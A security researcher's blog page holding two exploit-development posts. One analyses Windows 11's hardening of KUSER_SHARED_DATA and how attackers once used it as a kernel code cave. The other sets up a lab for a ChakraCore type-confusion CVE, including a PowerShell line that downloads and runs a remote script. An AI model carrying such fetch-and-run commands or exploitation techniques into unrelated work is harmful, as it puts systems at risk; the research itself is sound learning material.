Normal view

There are new articles available, click to refresh the page.
Before yesterdayConnor McGarr

Exploit Development: ASLR - Coming To A KUSER_SHARED_DATA Structure Near You!

23 February 2022 at 00:00

Introduction

A little while back I came across an interesting tweet that talked about some upcoming changes to KUSER_SHARED_DATA on Insider Preview builds of Windows 11.

This sentiment piqued my interest because KUSER_SHARED_DATA is a structure located at a static virtual address, in the traditional Windows kernel, of 0xfffff78000000000. From an exploitation perspective, this beast of a structure has been abused by adversaries for kernel exploitation, particularly remote kernel exploits, due to its static nature. Although KUSER_SHARED_DATA does not contain any interesting pointers to ntoskrnl.exe, nor is it executable, there is a section of memory that resides within the same page as KUSER_SHARED_DATA that contains no data and, thus, is abusable as a code cave with a static address.

Taking a look, KUSER_SHARED_DATA is 0x738 bytes in size on the latest build of Windows 11 Insider Preview (at the time of this blog post).

You may recall on Windows that a given memory “page” is 0x1000 bytes in size, or 4KB. Since KUSER_SHARED_DATA is 0x738 bytes in size there are still approximately 0x8C8 bytes of memory available for attackers to abuse. These unused bytes, therefore, still assume the same memory permissions as the rest of KUSER_SHARED_DATA, which is that of RW, or read/write. This means the “KUSER_SHARED_DATA code cave” is a readable and writable code cave which has a static address. Morten Schenk talked about this technique at his BlackHat 2017 talk, and I have also done a previous blog post outlining abusing this structure for code execution.

If this code cave were to be mitigated, an attacker would need to locate another place in memory to place their shellcode. Yes, it is true an adversary with a read/write primitive could corrupt the page table entry (PTE) corresponding to KUSER_SHARED_DATA in order to make the page writable. At this point, however, an adversary would have already needed to bypass kASLR and have a primitive to write to memory - meaning that an attacker already has, essentially, full control of the system. Where mitigation of this code cave comes into play is by making exploitation more arduous by forcing adversaries to prove they have a way to bypass kASLR before writing some nefarious code to memory. If an attacker cannot write directly to a static address, the attacker would therefore need to locate some other memory region. Thus, this would be classified as a smaller, more niche mitigation. In any case, I still found this an interesting topic to research.

Lastly, before beginning, this blog post is presented in context of ntoskrnl.exe and doesn’t translate to the secure kernel in virtual trust level 1 (VTL 1) when Virtualization-Based Security (VBS) is enabled. As Saar Amar pointed out, this structure is actually randomized in VTL 1.

0xfffff78000000000 Is Now Read-Only

My first thought about possible changes to KUSER_SHARED_DATA was that the memory address would finally (somehow) be completely randomized, especially after Saar’s previous tweet. To validate this I simply passed in the static address of KUSER_SHARED_DATA to the dt command in WinDbg and, to my surprise, the structure was still located at 0xfffff78000000000, after it parsing.

My next thought was to try and write to KUSER_SHARED_DATA, at an offset of 0x800, to look for any unexpected behavior. It was here I realized that KUSER_SHARED_DATA was now read-only, by examining the PTE.

The address provided below, 0xfffffe7bc0000000, is the virtual address of the PTE associated with the virtual address 0xfffff78000000000, or KUSER_SHARED_DATA. You can find the address on your system with the command in Windbg !pte 0xfffff78000000000. I have omitted these commands for readability of this blog, so as to not keep executing this command over and over again. This blog will inform readers what addresses correspond to what and how to find these addresses on your system.

This, at first, made sense. However, after talking with my coworker Yarden Shafir, there are things in KUSER_SHARED_DATA, such as the SystemTime member, which are constantly updated and, therefore, Yarden told me to keep digging, as there obviously was some way KUSER_SHARED_DATA was being written to/updated with a read-only PTE. This also makes sense, as I found out later, because the Dirty bit for the PTE that corresponds with KUSER_SHARED_DATA is set to 0, which means the page hasn’t been written to. So how exactly is this happening?

Armed with the following information, I went to IDA to look for anything interesting.

nt!MmWriteableUserSharedData To The Rescue!

After some searching in IDA for references to either 0xfffff78000000000 or terms like “UserShared”, I stumbled across a symbol I hadn’t seen before - nt!MmWriteableUserSharedData. In IDA, this symbol seems to be defined as 0xfffff78000000000.

However, when looking at a live kernel debugging session, I noticed the address seemed to be different. Not only that, after reboot, this address changed!

We can also see that the static 0xfffff78000000000 address and the new symbol both point to identical memory contents.

However, I was not yet satisfied. Were these two separate pages pointing to two separate structures that just contained identical contents? Or were they somehow intertwined? After viewing both of the PTEs in tandem, I confirmed that both of these virtual addresses, although different, both leveraged the same page frame number (PFN). The PTE for the “static” KUSER_SHARED_DATA and the new symbol nt!MmWriteableSharedUserData can be found with the following commands:

  1. !pte 0xfffff78000000000
  2. !pte poi(nt!MmWriteableSharedUserData)

As mentioned, the address of the PTE which corresponds with the “static” KUSER_SHARED_DATA structure is 0xfffffe7bc0000000. The address 0xfffffcc340c47010 is the virtual address which corresponds with the PTE of nt!MmWriteableSharedUserData.

A PFN multiplied by the size of a page (0x1000 generally speaking on Windows) will give you the physical address of the corresponding virtual address (in terms of a PTE, the “final” paging structure used to fetch a 4KB-aligned page). Since both of these virtual addresses contain the same PFN, this means that when converting the PFNs to physical addresses (0xfc1000 in this case), both virtual addresses are backed by the same physical page! We can confirm this by viewing the contents of the physical address backing each virtual address, as well as the virtual addresses themselves.

What we have here are two virtual addresses, with different memory permissions (one is read-only and the other is read/write) backed by one physical page. In other words, there are two virtual addresses with different views of the same physical memory. How is this possible?

tl;dr - Memory Sections

The main “gist” of the changes implemented surrounding KUSER_SHARED_DATA is the concept of memory sections. What this means is that a section of memory can essentially be shared by two processes (this is true for the kernel, as is in our case). The way this works is that the same physical memory can be mapped to a range of virtual addresses.

In this case, the new randomized read/write view of KUSER_SHARED_DATA, nt!MmWriteableUserSharedData (a virtual address) is backed by the same physical memory as the “static” KUSER_SHARED_DATA (another virtual address). This means that now there are two “views” of this structure, as seen below

This means that updating one of the virtual addresses (e.g. nt!MmWriteableSharedUserData) will update the other virtual address (0xfffff78000000000). This is because making a change to one of the virtual addresses will update the physical memory contents. Since the physical memory contents back both virtual addresses, both virtual addresses will receive updates. This provides a method for Windows to keep the old KUSER_SHARED_DATA address, while also allowing a new mapped view that is randomized, to “mitigate” the static read/write code cave traditionally found in KUSER_SHARED_DATA. The “old” address of 0xfffff78000000000 can now be marked as read-only, as there is a new view of this memory which can be used in its place, which is randomized!

If you were looking for a quick blog to talk about the changes made, that is perfectly okay and I will preface the remainder of this blog by saying that you may stop here if you were looking for a quick rundown of the higher-level details. The rest of this blog will outline the more intricate, lower-level details of the implementation.

If you are interested in how this looks at a bit of a deeper level, in terms of how Windows actually manifested these new updates, like myself, please feel free to read the rest of this blog post! I learned a great amount of technical details in terms of lower-level memory paging concepts, and just wanted to share these thoughts with anyone reading (should anyone care).

nt!MiProtectSharedUserPage

Before continuing with the analysis, permit me to introduce two terms. When I refer to the memory address 0xfffff78000000000, the static mapping of KUSER_SHARED_DATA, I will use the term “static” KUSER_SHARED_DATA from here on out. When I refer to the new “randomized mapping”, I will simply use the symbol name of nt!MmWriteableSharedUserData. This will allow me to delineate each time which “version” I am talking about.

After some dynamic analysis in WinDbg, I discovered the answer to my previous question about how these changes to KUSER_SHARED_DATA were implemented. I first started by setting a breakpoint on ntoskrnl.exe being loaded. It’s possible to do this, in an existing kernel debugging session, with the following commands:

  1. sxe ld nt
  2. .reboot

After the breakpoint is hit, we can actually see that the newly-found symbol nt!MmWriteableUserSharedData points to the “static” KUSER_SHARED_DATA address.

This is obviously indicative that this symbol is updated further along in the loading process.

While performing some reverse engineering to identify how this happens, I noticed an interesting cross reference to nt!MmWriteableSharedUserData in the function nt!MiProtectSharedUserPage via IDA.

While execution was still paused, as a result of the ntoskrnl.exe breakpoint, I set another breakpoint on the aforesaid function nt!MiProtectSharedUserPage and confirmed, after reaching the new breakpoint, the nt!MmWriteableSharedUserData symbol still pointed to the old 0xfffff78000000000 address.

Even more interesting, the “static” KUSER_SHARED_DATA’ is still static, readable, and writable at this point in the loading process! The below PTE address of 0xffffb7fbc0000000 is the virtual address of the PTE associated with the virtual address of 0xfffff78000000000. The PTE address has changed due to us rebooting the system as a result of the break-on-load of ntoskrnl.exe. As mentioned, this address can always be found on your system with the command !pte 0xfffff78000000000.

Since we know 0xfffff78000000000, the address of the “static” KUSER_SHARED_DATA structure, becomes read-only at some point, this is indicative of this function likely being responsible for changing the permissions of this address AND also dynamically filling nt!MmWriteableSharedUserData, especially based on naming convention.

Looking deeper into the disassembly of nt!MiProtectSharedUserPage we can see that the symbol nt!MmWriteableSharedUserData is updated with the value in RDI at the time that this instruction executes. But where does this value come from?

Let’s take a look at the beginning of the function. The first thing that stands out is the kernel-mode address and calls to nt!MI_READ_PTE_LOCK_FREE and nt!Feature_KernelSharedUserDataAaslr__private_IsEnabled (which isn’t very interesting for our purposes).

The kernel-mode address in the image above of 0xfffffb7000000000, outlined in a red box in the Disassembly window of WinDbg , is actually the base of the page table entries (e.g. the address of the PTE array). The second value, the constant of 0x7bc00000000, is the value used to index this PTE array to fetch the PTE associated with the “static” KUSER_SHARED_DATA. This value (the index into the PTE array) can be found with the following formula:

  1. Converting the target virtual address (in this case, 0xfffff78000000000) into a virtual page number (VPN) by dividing the address by the size of a page (0x1000 in this case)
  2. Multiply the VPN by the size of a PTE (64-bit system = 8 bytes)

We can see this by replicating this formula on the virtual address of 0xfffff78000000000. The resulting value will be the appropriate index into the PTE array to get the PTE associated with the “static” KUSER_SHARED_DATA. This can be seen in the Command window of WinDbg above.

This means the PTE associated with the “static” KUSER_SHARED_DATA is going to be passed in to nt!MI_READ_PTE_LOCK_FREE. The address of said PTE is 0xffffb7fbc0000000.

nt!MI_READ_PTE_LOCK_FREE, at a high level, will dereference the contents of the PTE and return them, while also performing a check on the in-scope page table entry to see if it is within the known address space of the PML4E array, which contains an array of PML4 page table entries for usage with the PML4 paging structure. Recall that the PML4 structure is the base paging structure. So, in other words, this ensures that the page table entry provided resides somewhere within the paging structures. This can be seen below.

However, slightly more nuanced, the function is actually checking to see if the page table entry resides within the “user mode paging structures”, known otherwise as the “shadow space”. Recall that with KVA Shadow’s implementation, Microsoft’s implementation of Kernel Page-Table Isolation (KPTI), there are now two sets of paging structures: one for kernel mode execution and one for user mode. This mitigation was used to mitigate Meltdown. This check is easily “bypassed”, as the PTE is obviously mapped to a kernel mode address and, thus, not represented by the “user mode paging structures”.

nt!MI_READ_PTE_LOCK_FREE then returns the dereferenced contents of the PTE (e.g. the PTE “bits”) if the PTE doesn’t reside within the “shadow space”. If the PTE does reside in the “shadow space”, there are a few more checks performed on the PTE to determine if KVAS is enabled before the contents are returned. This is not too important for the overall changes we are focusing on, from an exploitation perspective, but still a part of the overall “process”.

Additionally, nt!Feature_KernelSharedUserDataAslr__private_IsEnabled isn’t very useful to us, except for letting us know we are potentially on the right track by the naming convention. This function mainly seems to be for metrics and telemetry gathering about this feature.

Earlier, after the first call to nt!MI_READ_PTE_LOCK_FREE, the contents of the PTE for the “static” KUSER_SHARED_DATA were copied to a stack address - RSP at an offset of 0x20. This stack address, very similarly, is used in another call to nt!MI_READ_PTE_LOCK_FREE. This, again, isn’t particularly important to us - but it is part of the process.

More interestingly, however, is the fact that nt!MI_READ_PTE_LOCK_FREE dereferences the PTE contents and returns them via RAX. Since the PTE “bits” for the “static” KUSER_SHARED_DATA, which define the memory properties/permissions, are in RAX, they’re then acted upon in the subsequent bitwise-operations to extract the page frame number (PFN) from the PTE of the “static” KUSER_SHARED_DATA. This value is 0xf52e within the PTE, which has a value of 0x800000000000f52e863.

This PFN will be leveraged later on in a call to nt!MiMakeValidPte. For now, let’s move on.

We can now turn our attention to see that a call to nt!MiReservePtes is about to occur.

Please permit me to quickly provide a brief word on PFN records. A PFN “value” is technically just an abstract value that, when multiplied by 0x1000 (the size of a page), gives us a physical memory address. This is typically either the address of the next paging structure during the memory paging process, or it is used to fetch a final 4KB-aligned physical memory page if being leveraged by the “last” paging table, the PT (page table).

In addition to this, PFN records are also stored in an array of virtual addresses. This array is known as the PFN database. The reason for this is that the memory manager accesses page table entries via linear (virtual) addresses, which increases performance as the MMU does not need to walk all of the paging structures constantly to fetch PFNs, page table entries, etc. This provides an easy way for the records to just be referenced via an index into an array. This goes for all “arrays”, including the PTE array. A function such as nt!MiGetPteAddress performs an index into the corresponding page table array, such as the PTE array (for nt!MiGetPteAddress, PDE array (PDPT entries, done via nt!MiGetPdeAddress), etc.

Knowing this, we can see prior to the call to nt!MiReservePtes that the appropriate index into the PFN database that corresponds to the “static” KUSER_SHARED_DATA is calculated. This essentially means we are retrieving the virtual address of said PFN record (a MMPFN structure) from the PFN database.

We can see this as the base of the PFN database, 0xffffc38000000000 in this case, is involved in the operation. The final virtual address of 0xffffc380002df8a0 (the virtual address of the PFN record associated with the “static” KUSER_SHARED_DATA) can be seen below in RBP. It will eventually be used as the second argument in a future function call to nt!MiMakeProtectionPfnCompatible.

We can corroborate this by parsing the above virtual address as a MMPFN structure to see if the PteAddress member corresponds to the known PTE of the “static” KUSER_SHARED_DATA. As we know, the PTE is located at 0xffffb7fbc0000000.

The PteAddress member of the PFN structure aligns with the virtual address of the PTE associated with the “static” KUSER_SHARED_DATA - thus confirming this is the associated PFN record with the “static” KUSER_SHARED_DATA.

This value is then used in a call to nt!MiReservePtes, which we can see from two images ago. We know the first argument for this function will go into the RCX register, per the __fastcall calling convention. This argument is actually a nt!_MI_SYSTEM_PTE_TYPE structure.

According to CodeMachine, when a call to nt!MiReservePtes occurs, this structure is used to define what kind of allocation will occur in order to reserve memory for the PTE being created. Allocations, when requested with nt!MiReservePtes, may be suggestive of a request to allocate a piece of virtual memory from the System PTE region. The System PTE region is used for mapped views of memory, memory descriptor lists (MDLs), and other items. This information, in combination of our searching for an answer as to how two virtual addresses are backed by the same physical page, is very indicative of different “views” of memory being used (e.g. two virtual addresses correspond to one physical address so both virtual addresses contain the same contents but may have different permissions). Additionally, we can confirm that this allocation is coming from the System PTE region, as the VaType member of the nt!_MI_SYSTEM_PTE_TYPE structure is set to 9, which is a value in an enumeration that corresponds to MiVaSystemPtes. This means the allocation, in this case, will come from the System PTE memory region.

As we can see after the call occurs, the return value is a kernel-mode address within the same address space of the System PTE region, as defined by the BasePte member.

At this point, the OS has essentially allocated memory from the System PTE region, which is commonly used for mapping multiple views of memory, in the form of an unfilled PTE structure. The next step will be to properly configure this PTE and assign it to a memory address.

Said process continues with a call to nt!MiMakeProtectionPfnCompatible. As previously mentioned, the second argument for this function will be the virtual address of the PFN record, from the PFN database, associated with the PTE that is applied to the “static” KUSER_SHARED_DATA.

The first argument passed to nt!MiMakeProtectionPfnCompatible is a constant of 4 (which can be seen 4 screenshots below in the Command window of WinDbg). Where does this value come from? Taking a look at ReactOS we can see two constants that are outlined for memory permissions enforced by PTEs.

According to ReactOS, there is also a function called MI_MAKE_HARDWARE_PTE_KERNEL, which leverages these constants. The prototype and definition can be seen below.

This function provides a combination of the functionality exposed by both nt!MiMakeProtectionPfnCompatible and nt!MiMakeValidPte (which is a function we will see shortly). The value 4, or MM_READWRITE, is actually an index into an array called MmProtectToPteMask. This array is responsible for converting the requested permission of the page (4, or MM_READWRITE) to a PTE-compliant mask.

We can see the first five elements are as follows: {0, PTE_READONLY, PTE_EXECUTE, PTE_EXECUTE_READ, PTE_READWRITE}. From here we can confirm that indexing this array at the index of 4 will retrieve a PTE mask of PTE_READWRITE, which are exactly the memory permissions we would like nt!MmWriteableSharedUserData to assume, as we know this should be the “new mapped view” of KUSER_SHARED_DATA, which is writable. Recall also that the virtual address of the PFN record associated with the “static” KUSER_SHARED_DATA is used in the function call, via RDX.

After the function call, the return value is a “PTE-compatible” mask that represents a readable and writable page.

At this point we have:

  1. An address for our PTE, which is currently empty
  2. A “skeleton” for our PTE (e.g. a readable/writable mask to be supplied)

With this in the back of our mind, let’s now turn our attention to the call to nt!MiMakeValidPte.

nt!MiMakeValidPte essentially provides “the rest” of the functionality outlined by the ReactOS function MI_MAKE_HARDWARE_PTE_KERNEL. nt!MiMakeValiePte requires the following information:

  1. Address of the newly created, empty PTE (this PTE will be applied to the virtual address of nt!MmWriteableUserSharedData). This is currently in RCX
  2. A PFN. This is currently in RDX (e.g. not the virtual address from the PFN database, but the raw PFN “value”)
  3. A “PTE-compliant” mask (e.g. our read/write attributes). This is currently in R8

All of this information can be seen above in the previous screenshot.

In terms of “mapping different views of the same physical memory”, the most important component here is the value in RDX, which is the actual PFN value of KUSER_SHARED_DATA (the raw value, not the virtual address). Let’s recall first that a PFN, at a high level, is essentially a physical address, when multiplied by the size of a page (0x1000 bytes, or 4KB). This is true, especially in our case, as we are dealing with the most granular type of memory - a 4KB-aligned piece of memory. There are no more paging structures to index, which is usually what a PFN is used for. This means the PFN, in this case, is used to fetch a final, 4KB-aligned memory page.

We know that the function we are executing inside of (nt!MiProtectSharedUserPage) creates a PTE (via nt!MiReservePtes and nt!MiMakeValidPte). As we know, this PTE will be applied to a virtual address and used to map said virtual address to a physical page, essentially through the PFN associated with the PTE. Currently, the PFN that will be used for this mapping is stored in RDX. At a lower level, this value in RDX multiplied by the size of a page (4KB) will be the actual physical page the virtual address is mapped to.

Interestingly enough, this value in RDX, which was previously preserved after the second call to nt!MI_READ_PTE_LOCK_FREE, is the PFN associated with KUSER_SHARED_DATA! In other words, the virtual address we assign this newly created PTE to (which should eventually be nt!MmWriteableUserSharedData) will be backed by KUSER_SHARED_DATA’s physical memory and, thus, when updates are made to the contents of nt!MmWriteableUserSharedData the physical memory backing it will also be updated. Since the “static” KUSER_SHARED_DATA (0xfffff78000000000) is also backed by THE SAME physical memory it also will receive the updates. Essentially, even though the read-only “static” KUSER_SHARED_DATA can’t be written to it will still receive updates made by nt!MmWriteableUserSharedData, which is readable and writable. This is because both virtual addresses are backed by the same physical memory. Whatever happens to one of these will happen to the other!

Knowing this means that there is no good reason to have the “normal” (e.g. 0xfffff78000000000) KUSER_SHARED_DATA structure address be anything other than read-only, as there is now another memory address that can be used in its place. The benefit here is that the writable “version” or “mapping”, nt!MmWriteableUserSharedData, is randomized!

Moving on now, we are telling the OS we want a valid PTE that is readable and writable, backed by KUSER_SHARED_DATA’s PFN (physical address for all intents and purposes), and will be written to the PTE we have already allocated from the System PTE region (since this memory is being used for mapping “views”).

After executing the function, we can see this is the case!

The next function call, nt!MiPteInShadowRange, essentially just does bounds checking to see if our PTE resides in the shadow space. Recall earlier that with the implementation of Kernel Virtual Address Shadow (KVAS) that paging structures are separated: one set for user mode and one set for kernel mode. The “shadow space”, otherwise known as the structures used for user mode addressing, are within the range checked by nt!MiPteInShadowRange. Since we are dealing with a kernel mode page, obviously the PTE it is applied to is not within the “shadow space”. It is not really of interest to us for our purposes.

After this function call, a mov qword ptr [rdi], rbx instruction occurs. This updates our allocated PTE, which is still blank, with the proper bits created from our call to nt!MiMakeValidPte! We now have a valid PTE, backed by the same physical memory as KUSER_SHARED_DATA located at the virtual address of 0xfffff78000000000!

At this point, we are just a few instructions away from our target symbol of nt!MmWriteableUserSharedData being updated with the new ASLR’d mapped view of KUSER_SHARED_DATA. Then the “static” KUSER_SHARED_DATA can be made read-only (recall it is still read/write at this point in the loading process!).

Currently, in RDI, we have the address of the PTE we want to use for our new read/write and randomized mapped view of KUSER_SHARED_DATA (generated via nt!MiReservePtes). The above screenshot shows that there will be some bitwise operations performed on RDI and, as well, we can see that the base of the page table entries will be involved with this operation. These are simply compiler optimizations for converting a given PTE to the virtual address the PTE is applied to.

This is a necessary step, recall, as up until this point we have successfully generated a PTE from the System PTE region and have marked it as read/write, told it to use the “static” KUSER_SHARED_DATA as the physical memory backing the virtual memory, but we have not actually applied it to the virtual memory address which will be described and mapped by this PTE! This virtual address we want to apply this PTE to will be the value we want to store in nt!MmWriteableUserSharedData!

Let’s again recall the bitwise operations that are in place which will convert the new PTE to the virtual address it backs.

As we know, we have the target PTE in the RDI register. We know the steps to retrieve the PTE associated with a given virtual address are as follows, which indexes the PTE array appropriately:

  1. Convert the virtual address to a virtual page number (VPN) by dividing the virtual address by the size of a page (0x1000 bytes on a standard Window system)
  2. Multiply the above value with the size of a PTE (0x8 bytes on 64-bit system)
  3. Add the value to the base of the page table entry array

This corresponds to indexing the PTE array as follows: PteBaseArray[VPN]. Since we know how to go from a virtual address to a PTE, we should be able to reverse these steps to retrieve the virtual address associated with a given PTE.

With PTE in hand, the “reversed” process is as follows:

  1. Subtract the PTE array base address from the PTE sitting in RDI (our target PTE) to extract the index into the PTE array
  2. Divide the value by the size of a PTE (0x8 bytes) to retrieve the virtual page number (VPN)
  3. Multiply this value by the size of a page (0x1000) to retrieve the virtual address

We also know that the compiler generates a sar rdi, 10h instruction which will sign extend the value generated from the above steps. If we replicate this process within WinDbg we can see our final value (0x0000a580a4002000) would be converted to the address 0xffffa580a4002000.

Comparing our computed value with the kernel-produced value, we can see we now have the corresponding virtual address to our PTE, which now is backed by the same physical memory as KUSER_SHARED_DATA and both addresses match up to 0xffffa580a4002000! We can conclude the bitwise operations are part of some macro which converts PTEs to virtual addresses, and this is compiler-optimized code to do so!

This functionality is provided in ReactOS in the form of a function called MI_WRITE_VALID_PTE. As we can see it essentially not only writes the PTE contents to the PTE address (in this case the allocation from the System PTE region via nt!MiReservePtes) but it also fetches the virtual address associated with the PTE through the function MiPteToAddress.

Great! However, there is one last thing we need to do and that is convert the “static” KUSER_SHARED_DATA address to read-only. We can already see we are queued up for a call to nt!MiMakeProtectionPfnCompatible. In RCX, where the memory permission constant is, we can see a value of 1, or MM_READONLY if we recall earlier from when we created a PTE-compliant mask for the read/write mapping of KUSER_SHARED_DATA. In other words, the only memory “permissions’’ afforded to this page will be read.

RDX, which contains our index into the PFN array, shows we have the PFN associated with the “static” KUSER_SHARED_DATA by comparing the virtual address of the PTE for the “static” KUSER_SHARED_DATA (PTE located at 0xffffb7fbc0000000) to the PTE located in the PFN structure, MMPFN. This gives us a PTE-compliant value.

Identically to last time, now just with a read-only page, we setup a call to nt!MiMakeValidPte to assign to the “static” KUSER_SHARED_DATA read-only permissions, through the virtual address of its PTE (0xffffb7c000000000).

After the call succeeds, a PTE has been generated for use with pages intended to be read-only.

The “static” KUSER_SHARED_DATA gets updated through the same methods aforementioned (the method provided in ReactOS called MI_WRITE_VALID_PTE).

For our purposes, this is the end of the interesting things that nt!MiProtectSharedUserPage does! We now have two virtual addresses that are backed by KUSER_SHARED_DATA’s physical memory (one read-only, the “static” 0xfffff78000000000 KUSER_SHARED_DATA structure and a new nt!MmWriteableUserSharedData version which is randomized and read/write)!

We can now see in IDA, for instance, when KUSER_SHARED_DATA needs to be updated, this is done through the new symbol which is randomized and writable. The below image is taken from nt!KiUpdateTime, where we can see several offsets of KUSER_SHARED_DATA are updated (namely 0x328 and 0x320). On the same note, in the same photo, we can see that when members from KUSER_SHARED_DATA are read, Windows goes through the old “static” hard coded address (in this case, 0xfffff78000000008 and 0xfffff78000000320 in the IDA screenshot).

Exploitability Going Forward and Conclusion

Obviously, the same primitive of abusing this code cave no longer will exist, and one of the last (if not the last) static structure has now been mitigated, which attackers have abused in the past. However, with exploitation today, a kASLR bypass is surely needed to gain code execution. This is a smaller mitigation which forces an adversary to prove they can at least bypass kASLR fully in order to write code somewhere reliably. It goes without saying that it would be possible to “bypass” (better word is circumvent, versus “bypassing” the underlying feature), if you write to memory early enough in the kernel loading process via a race condition or some other primitive, to write your code to the static 0xfffff78000000000+0x800 KUSER_SHARED_DATA code cave, as we know this structure is still readable and writable when the kernel is first mapped into memory. However, when the kernel fully loads, this region will be read-only. But, nonetheless, it is still possible, due to the initialization happening during the kernel loading. There are public exploits which make use of this primitive, namely my friend and peer chompie1337’s SMBGhost proof-of-concept, so it was definitely worthwhile to pursue to not only raise the bar for attackers, but to break public exploits in their current state. This is a pretty niche change/mitigation, but I thought it nonetheless would be fun to blog about and I learned quite a bit about the System PTE region and memory views along the way.

As always feel free to please reach out with comments, questions, corrections, or suggestions!

Peace, love, and positivity :-)

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 1)

11 March 2022 at 00:00

Introduction

Browser exploitation - it has been the bane of my existence for quite some time now. A while ago, I did a write-up on a very trivial use-after-free vulnerability in an older version of Internet Explorer. This left me longing for more, as ASLR for instance was non-issue. Also, use-after-free bugs within the DOM have practically been mitigated with the advent of MemGC. Additional mitigations, such as Control Flow Guard (CFG), were also not present.

In the name of understanding more modern browser exploitation (specifically Windows-based exploitation), I searched and scoured the internet for resources. I constantly picked the topic up, only to set it down again. I simply just “didn’t get it”. This was for a variety of factors, including browser exploitation being a very complex issue, with research on the topic being distributed accordingly. I’ve done my fair share of tinkering in the kernel, but browsers were a different beast for me.

Additionally, I found almost no resources that went from start to finish on more “modern” exploits, such as attacking Just-In-Time (JIT) compilers specifically on Windows systems. Not only that, almost all resources available online target Linux operating systems. This is fine, from a browser primitive perspective. However, when it comes to things like exploit controls such as CFG, to actual exploitation primitives, this can be highly dependent on the OS. As someone who focuses exclusively on Windows, this led to additional headache and disappointment.

I recently stumbled across two resources: the first being a Google Project Zero issue for the vulnerability we will be exploiting in this post, CVE-2019-0567. Additionally, I found an awesome writeup on a “sister” vulnerability to CVE-2019-0539 (which was also reported by Project Zero) by Perception Point.

The Perception Point blog post was a great read, but I felt it was more targeted at folks who already have fairly decent familiarity with exploit primitives in the browser. There is absolutely nothing wrong with this, and I think this is still makes for an excellent blog post that I would highly recommend reading if you’ve done any kind of browser vulnerability research before. However, for someone in my shoes that has never touched JIT compiler vulnerability research in the browser space, there was a lack of knowledge I had to make up for, not least because the post actually just ended on achieving the read/write primitive and left code execution to the reader.

There is also other prerequisite knowledge needed, such as why does JIT compilation even present an attack surface in the first place? How are JavaScript objects laid out in memory? Since JavaScript values are usually 32-bit, how can that be leveraged for 64-bit exploitation? How do we actually gain code execution after obtaining a read/write primitive with DEP, ASLR, CFG, Arbitrary Code Guard (ACG), no child processes, and many other mitigations in Edge involved? These are all questions I needed answers to. To share how I went about addressing these questions, and for those also looking to get into browser exploitation, I am releasing a three part blog series on browser exploitation.

Part one (this blog) will go as follows:

  1. Configuring and building up a browser exploitation environment
  2. Understanding JavaScript objects and their layout in memory (ChakraCore/Chakra)
  3. CVE-2019-0567 root cause analysis and attempting to demystify type confusion bugs in JIT compilers

Part two will include:

  1. Going from crash to exploit (and dealing with ASLR, DEP, and CFG along the way) in ChakraCore
  2. Code execution

Part three, lastly, will deconstruct the following topics:

  1. Porting the exploit to Microsoft Edge (Chakra-based Edge)
  2. Bypassing ACG, using a now-patched CVE
  3. Code execution in Edge

There are also a few limitations you should be aware of as well:

  1. In this blog series we will have to bypass ACG. The bypass we will be using has been mitigated as of Windows 10 RS4.
  2. I am also aware of Intel Control-Flow Enforcement Technology (CET), which is a mitigation that now exists (although it has yet to achieve widespread adoption). The version of Edge we are targeting doesn’t have CET.
  3. Our initial analysis will be done with the ch.exe application, which is the ChakraCore shell. This is essentially a command-line JavaScript engine that can directly execute JavaScript (just as a browser does). Think of this as the “rendering” part of the browser, but without the graphics. Whatever can occur in ch.exe can occur in Edge itself (Chakra-based Edge). Our final exploit, as we will see in part three, will be detonated in Edge itself. However, ch.exe is a very powerful and useful debugging tool.
  4. Chakra, and the open-source twin ChakraCore, are both deprecated in their use with Microsoft Edge. Edge now runs on the V8 JavaScript engine, which is used by Chrome-based browsers.

Finally, from an exploitation perspective, none of what I am doing would have been possible without Bruno Keith’s amazing prior work surrounding Chakra exploit primitives, the Project Zero issues, or the Perception Point blog post.

Configuring a Chakra/ChakraCore Environment

Before beginning, Chakra is the name of the “Microsoft proprietary” JavaScript engine used with Edge before V8. The “open-source” variant is known as ChakraCore. We will reference ChakraCore for this blog post, as the source code is available. CVE-2019-0567 affects both “versions”, and at the end we will also port our exploit to actually target Chakra/Edge (we will be doing analysis in ChakraCore).

For the purposes of this blog post, and part two, we will be performing analysis (and exploitation in part two) with the open-source version of Chakra, the ChakraCore JavaScript engine + ch.exe shell. In part three, we will perform exploitation with the standard Microsoft Edge (pre-V8 JavaScript engine) browser and Chakra JavaScript engine

So we can knock out “two birds with one stone”, our environment needs to first contain a pre-V8 version of Edge, as well as a version of Edge that doesn’t have the patch applied for CVE-2019-0567 (the type confusion vulnerability) or CVE-2017-8637 (our ACG bypass primitive). Looking at the Microsoft advisory for CVE-2019-0567, we can see that the applicable patch is KB4480961. The CVE-2017-8637 advisory can be found here. The applicable patch in this case is KB4034674.

The second “bird” we need to address is dealing with ChakraCore.

Windows 10 1703 64-bit is a version of Windows that not only can support ChakraCore, but also comes (by default) with a pre-patched version of Edge via a clean installation. So, for the purposes of this blog post, the first thing we need to do is grab a version of Windows 10 1703 (unpatched with no service packs) and install it in a virtual machine. You will probably want to disable automatic updates, as well. How this version of Windows is obtained is entirely up to the reader.

If you cannot obtain a version of Windows 10 1703, another option is to just not worry about Edge or a specific version of Windows. We will be using ch.exe, the ChakraCore shell, along with the ChakraCore engine to perform vulnerability analysis and exploit development. In part two, our exploit will be done with ch.exe. Part three is entirely dedicated to Microsoft Edge. If installation of Edge proves to be too much of a hassle, the “gritty” details about the exploit development process will be in part two. Do be warned, however, that Edge contains a few more mitigations that make exploitation much more arduous. Because of this, I highly recommend you get your hands on the applicable image to follow along with all three posts. However, the exploit primitives are identical between a ch.exe environment and an Edge environment.

After installing a Windows 10 1703 virtual machine (I highly recommend making the hard drive 100GB at least), the next step for us will be installing ChakraCore. First, we need to install git on our Windows machine. This can be done most easily by quickly installing Scoop.sh via PowerShell and then using a PowerShell web cradle to execute scoop install git from the PowerShell prompt. To do this, first run PowerShell as an administrator and then execute the following commands:

  1. Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser (then enter a to say “Yes to All”)
  2. [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
  3. Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://get.scoop.sh')
  4. scoop install git

After git is installed, you will need to also download Microsoft Visual Studio. Visual Studio 2017 works just fine and I have included a direct download link from Microsoft here. After downloading, just configure Visual Studio to install Desktop development with C++ and all corresponding defaults.

After git and Visual Studio are installed, we can go ahead and install ChakraCore. ChakraCore is a full fledged JavaScript environment with a runtime, etc. so it is quite hefty and may take a few seconds when cloning the repository. Open up a cmd.exe prompt and execute the following commands:

  1. cd C:\Wherever\you\want\to\install
